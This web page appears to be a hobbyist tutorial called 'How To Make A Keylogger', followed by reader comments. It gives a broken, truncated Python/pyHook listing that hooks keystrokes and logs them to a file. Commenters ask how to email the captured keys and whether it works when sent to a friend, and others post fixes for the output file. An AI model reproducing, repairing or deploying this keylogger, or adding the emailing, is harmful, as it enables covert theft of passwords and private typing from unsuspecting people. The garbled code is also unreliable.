How To Make A Keylogger


Download Python:

– Download Pyhook:

– Download Python for Windows Extensions:


import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()

def OnKeyboardEvent(event):
 if event.Ascii==5:

 if event.Ascii != 0 or 8:
 if event.Ascii==13:
 buffer += 

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent

38 Responses

  • George // //

    I have a little problem with the programming steps…when i saved the file appear “NON-ASCII found, yet no endocing declared, add a line like # -*- coding: cp1252 -*- “…..what should i do? HELP ME PLEASE…i have windows vista…and i already had the programs installed what’s wrong?

  • j.wayne // //

    yea, im having the same issue as george with the “NON-ASCII found, yet no endocing declared, add a line like # -*- coding: cp1252 -*- “… running windowa 7 via bootcamp on a macbook pro

  • Giovanni // //

    Hi how can i do to email all the recorded keys with my own software? And does it can work if i send it to my friend?

  • mendax_hacker // //

    it doesnt work ! plz help !!!

  • Kea // //

    Why do none of your tutorials work!

  • Alvaro // //

    I have a question, how do i close de logger, this because i cant find de output.txt file.


  • Roger // //

    Was this a hoax? I can’t even find Output.txt…

    • w4ffl3 // //

      dude, why didnt you make the output.txt file with os.system(‘mkdir output.txt’) or something similar, YOU FORGOT TO MAKE THE OUTPUT.TXT FILE, dumbass

  • raghu // //

    i cant find the output.txt file… you tutorial sucks its not working…

  • Micheal // //

    Ok, so nothing shows up in the output.txt file after I do the steps through the logger and all of that stuff. Whats wrong?

  • Hack Master // //

    It worked! You need to save the file as .py3 for some reason. And the output.exe is located in C:\. Plus this only works on windows xp.

  • deathsph33r // //

    It didn’t work. I couldn’t get python 2.6 i could only get 2.7. I got it all in there and everything but there is no output.txt file

    • charles // //

      i had the same problem, i’m not sure what to do

  • curious guy // //

    Everybody complains about nothing.
    These fantastic guys provided a FREE source code and all you do is complain.
    I really dont know nothing about programing, but it was easy to me, when I didnt found the output.txt, to create it my self.
    Try to do that and see that everything you type will be written on that file.
    Lasy guys! Think a little. Have some respect for those who give all expecting nothing.

    By the way, THABK you all that provide this code.

  • lUnAlOvEr // //

    Yeah, you have to actually CREATE the output.txt, maybe if any of you had ANY common sense whatsoever, you’d have figured it out by now.

  • Aaron // //

    How do I make it to send files to my email or desktop?

  • yodaman // //

    2.6 is no longer there do you use 2.7

  • R1A2 // //

    I Got Python 2.6, But Still Can’t Get The output.txt File. Well, I Created It But It Does Not Hav Any Data.

  • theerandomeerz // //

    Alright Please Reply 2 This, Ik there is alot of people complaining about the output.txt file, i created one but it still won’t send the data into the file..Please tell me how to fix.
    – Thanks in Advance

  • Jeremy // //

    Hey i did EXACTLY whAT you said, but there is no out.txt file, it may be because i have te python 2.7 but i’m not sure. please reply A.S.A.P, it be better to e-mail me.

    • Cold Diamondz // //

      Check the code, there are typos, fix them yourself

  • Chris // //

    Didnt Work but Thanks for providing us the code 😉

  • Sarthax // //

    I presume no knowledge of programming in the slightest, but I think I found out how to work it. I carefully followed the instructions, even the arduous task of downloading Python for Windows Extensions. When that didn’t work, I checked these comments and found that saving the file as logger.py3 didn’t work. For my certain case, inserting an output.txt alone didn’t work. What I ended up doing was taking a screenshot of the window that pops-up for a split second once you click on the file in and found that [again, I don’t know ANYTHING about programming] it said something along the line of finding an error on line 13 about an indent. So, I checked through the file and rearranged the indents in the to match the one in the video, because I copy-pasted the code like almost everyone else. Well, after I restarted the program and inserted the output.txt file, it worked. Although, I’m not sure if this was intended or not, but the program would interpret a single keystroke as about 20. So the test message “The password is swordfish” was transformed into “TTTTTTTTTTTTHHHHHHHHHHHHHHHHeeeeeeeeeeeeee pppppppppppppaaaaaaassssssswwwwwwooooooorrrrrrdddddddd iiiiiiiiiisssssssssssss sssssssswwwwwwwwooooooorrrrrrrddddddfffffffffffffiiiiiiissssssssssshhhhhhhhh”

  • RedPhoneBooth // //

    Hey, I am also having the problem where the program cant find the file ‘output.txt’. I am running vista and I have tried creating the file in C:/ for it but it does not seem to work. Thanks in advance for the help!

    • procrafthd // //

      im having the same poblem an im usin vista as well

    • Cold Diamondz // //

      It opens the file in reading mode then, use the writing mode, ‘w’

  • RedPhoneBooth // //

    Okay I got it running but its giving my really crappy data, I can barley make out anything useful, is there anyway to fix this?

  • brandon1181 // //

    the tutorial works i find everything i need you guys are doing it wrong just re watch it make sure everything is set where its suppose to be ( btw i have used every tutorial he has )

  • Hey123 // //

    How do you make your own output.txt

  • I'm not telling you :P // //

    Can you please teach me how to create a key logger using java. If you have iTunes I’ll gift you something

  • GoGo // //

    f=open(‘c:output.txt’,’w’) – error… Why?

    • Cold Diamondz // //

      Look at the directory… C: DOES NOT EXIST do C:\ and then the file, it was just a typo, but try to look at the code to make sure that there is no typos.

  • charlie // //

    i cant find what file i need for pywin32 im using python 2.7 pls help

  • procrafthd // //

    When im testing it i try to run it no cmd pops up but i start typing and i press CTRL+E i go to my folder that ive set the output.txt to and nothing appears ive even tried putting output.txt in there please help.
    Thank You In Advance

  • Z J // //

    hey, i need help.. first off, i have version python 2.7 but that shouldnt matter.. anyways.. when i try to save it to :c\ , it wont let me.. so i need to save it in the python27 folder.. there is the logger then, when i start it, the black thing pops up for a sec, then disappears, as it should.. but when i press control+E, it doesnt make the output.txt file there? i tried changing this part f=open(‘c:\output.txt’,’r’) to that too
    f=open(‘c:\Python27\output.txt­’,’r’) but still

  • Cold Diamondz // //

    Every can stop complaining, the problem you guys have are just easy-to-fix typos, use common sense people, check the source before using it, you might get a virus source run it, and destroy your computer, just read and try to understand it, if you don’t understand it, send it to a programmer that would and they’ll tell you what it does and how it does what it is doing, don’t just leave comment saying “This tutorial is stupid, don’t use this tutorial guys, it’s stupid!” Instead, work it out.

Leave a Reply